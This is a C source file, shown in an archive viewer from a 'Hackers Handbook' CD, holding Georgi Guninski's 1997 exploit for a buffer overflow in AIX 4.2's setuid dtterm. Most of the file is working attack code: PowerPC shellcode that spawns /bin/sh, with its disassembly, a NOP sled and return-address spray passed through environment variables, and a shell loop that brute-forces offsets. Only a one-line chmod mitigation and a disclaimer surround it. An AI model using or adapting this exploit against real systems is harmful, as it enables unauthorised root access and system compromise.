home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / aixdtterm.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-15  |  5.3 KB  |  205 lines

  1. /*
  2. There is a buffer overflow in /usr/dt/bin/dtterm and/or
  3. in libXt which spawns a root shell.
  4.  
  5. Solution: #chmod -s /usr/dt/bin/dtterm  ; dtterm seems 
  6. to continue working.
  7.  
  8. Tested on AIX 4.2 RS/6000 box.
  9. */
  10. /*----cut here---------
  11. AIX 4.2,(others?) dtterm exploit by Georgi Guninski
  12.  
  13. ---------------------------------------- 
  14. DISCLAIMER
  15.  
  16. This program is for educational purpose ONLY. Do not use it without
  17. permission. The usual standard disclaimer applies, especially the 
  18. fact that Georgi Guninski is not liable for any damages caused by 
  19. direct or indirect use of the information or functionality provided 
  20. by this program. Georgi Guninski, his employer or any Internet 
  21. provider bears NO responsibility for content or misuse of this 
  22. program or any derivatives thereof. By using this program you accept
  23. the fact that any damage (dataloss, system crash, system compromise,
  24. etc.) caused by the use of this program is not Georgi Guninski's 
  25. responsibility.
  26.  
  27. In case you distribute this, please keep the disclaimer and my 
  28. addresses.
  29. ----------------------------------------- 
  30. Use the IBM C compiler.
  31. Compile with: cc -g aixdtterm.c
  32. Some brute forcing may help.
  33. DISPLAY should be set to a valid display.
  34. SOLUTION: #chmod -s /usr/dt/bin/dtterm          ; dtterm seems to 
  35. continue working?
  36. -----------------
  37. Georgi Guninski
  38. guninski@hotmail.com
  39. sgg@vmei.acad.bg
  40. guninski@linux2.vmei.acad.bg
  41. http://www.geocities.com/ResearchTriangle/1711
  42.  
  43. Suggestions,comments and job offers are welcome! 20-MAY-97
  44. */
  45. #include <stdio.h>
  46. #include <stdlib.h>
  47. #include <string.h>
  48.  
  49.  
  50. char prog[100]="/usr/dt/bin/dtterm"; char prog2[30]="dtterm";
  51. extern int execv();
  52.  
  53. char *createvar(char *name,char *value) {
  54.  char *c;
  55.  int l;
  56.  l=strlen(name)+strlen(value)+4;
  57.  if (! (c=malloc(l))) {perror("error allocating");
  58.  exit(2);};
  59.  strcpy(c,name);
  60.  strcat(c,"=");
  61.  strcat(c,value);
  62.  putenv(c);
  63.  return c;
  64. }
  65.  
  66. /*The program*/
  67. main(int argc,char **argv,char **env) {
  68. /*The code*/
  69.  unsigned int code[]={
  70.  0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  71.  0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 
  72.  0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 
  73.  0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  74.  0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 
  75.  0x7c0903a6 , 0x4e800420, 0x0
  76.  };
  77. /* disassembly
  78.  7c0802a6        mfspr   r0,LR
  79.  9421fbb0        stu     SP,-1104(SP) --get stack 
  80.  90010458        st      r0,1112(SP)
  81.  3c60f019        cau     r3,r0,0xf019 --CTR 
  82.  60632c48        lis     r3,r3,11336  --CTR 
  83.  90610440        st      r3,1088(SP)
  84.  3c60d002        cau     r3,r0,0xd002 --TOC 
  85.  60634c0c        lis     r3,r3,19468  --TOC 
  86.  90610444        st      r3,1092(SP)
  87.  3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01' 
  88.  6063696e        lis     r3,r3,26990
  89.  90610438        st      r3,1080(SP)
  90.  3c602f73        cau     r3,r0,0x2f73 
  91.  60636801        lis     r3,r3,26625
  92.  3863ffff        addi    r3,r3,-1
  93.  9061043c        st      r3,1084(SP) --terminate with 0 
  94.  30610438        lis     r3,SP,1080
  95.  7c842278        xor     r4,r4,r4    --argv=NULL 
  96.  80410440        lwz     RTOC,1088(SP)
  97.  80010444        lwz     r0,1092(SP) --jump 
  98.  7c0903a6        mtspr   CTR,r0
  99.  4e800420        bctr              --jump 
  100. */
  101.  
  102.  #define MAXBUF 600
  103.  unsigned int buf[MAXBUF];
  104.  unsigned int frame[MAXBUF];
  105.  unsigned int i,nop,mn;
  106.  int max;
  107.  int QUIET=0;
  108.  int dobuf=0;
  109.  unsigned int toc;
  110.  unsigned int eco;
  111.  unsigned int *pt;
  112.  char *t;
  113.  int ch;
  114.  unsigned int reta; /* return address */ 
  115.  int corr=1000;
  116.  char *args[4];
  117.  char *arg1="-ms";
  118.  char *newenv[8];
  119.  int startwith=0;
  120.  
  121.  mn=200;
  122.  max=300;
  123.  
  124.  if (argc>1) corr = atoi(argv[1]);
  125.  
  126.  pt=(unsigned *) &execv;
  127.  toc=*(pt+1);
  128.  eco=*pt;
  129.  
  130.  if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) {
  131.   perror("Bad parameters");
  132.   exit(1);
  133.  }
  134.  
  135.  #define OO 7
  136.  *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  137.  *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  138.  *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  139.  *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff);
  140.  
  141.  reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
  142.  
  143.  for(nop=0;nop<mn;nop++)
  144.   buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
  145.  strcpy((char*)&buf[nop],(char*)&code);
  146.  i=nop+strlen( (char*) &code)/4-1;
  147.  
  148.  if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  149.  || !(reta && 0xff000000))
  150.  {
  151.   perror("Return address has zero");
  152.   exit(5);
  153.  }
  154.  
  155.  while(i++<max)
  156.  buf[i]=reta;
  157.  buf[i]=0;
  158.  
  159.  for(i=0;i<max-1;i++)
  160.  frame[i]=reta;
  161.  frame[i]=0;
  162.  
  163.  if(QUIET) 
  164.  {
  165.   puts((char*)&buf);
  166.   fflush(stdout);
  167.   exit(0);
  168.  };
  169.  
  170. /* 4 vars 'cause the correct one should be 
  171.    aligned at 4bytes boundary */
  172.  newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  173.  newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  174.  newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  175.  newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  176.  
  177.  newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  178.  newenv[5]=NULL;
  179.  
  180.  args[0]=prog2;
  181.  args[1]=arg1;
  182.  args[2]=(char*)&frame[0]; /* Just frame pointers */
  183.  puts("Start...");/*Here we go*/
  184.  execve(prog,args,newenv);
  185.  perror("Error executing execve \n");
  186. /*
  187. Georgi Guninski
  188. guninski@hotmail.com
  189. sgg@vmei.acad.bg
  190. guninski@linux2.vmei.acad.bg
  191. http://www.geocities.com/ResearchTriangle/1711
  192. */
  193. }
  194. /*
  195. -------sometimes this helps----------------------- 
  196. #!/bin/ksh
  197. L=20
  198. O=40
  199. while [ $L -lt 12000 ]
  200. do
  201. echo $L
  202. L=`expr $L + 144`
  203. ./a.out $L
  204. done
  205. */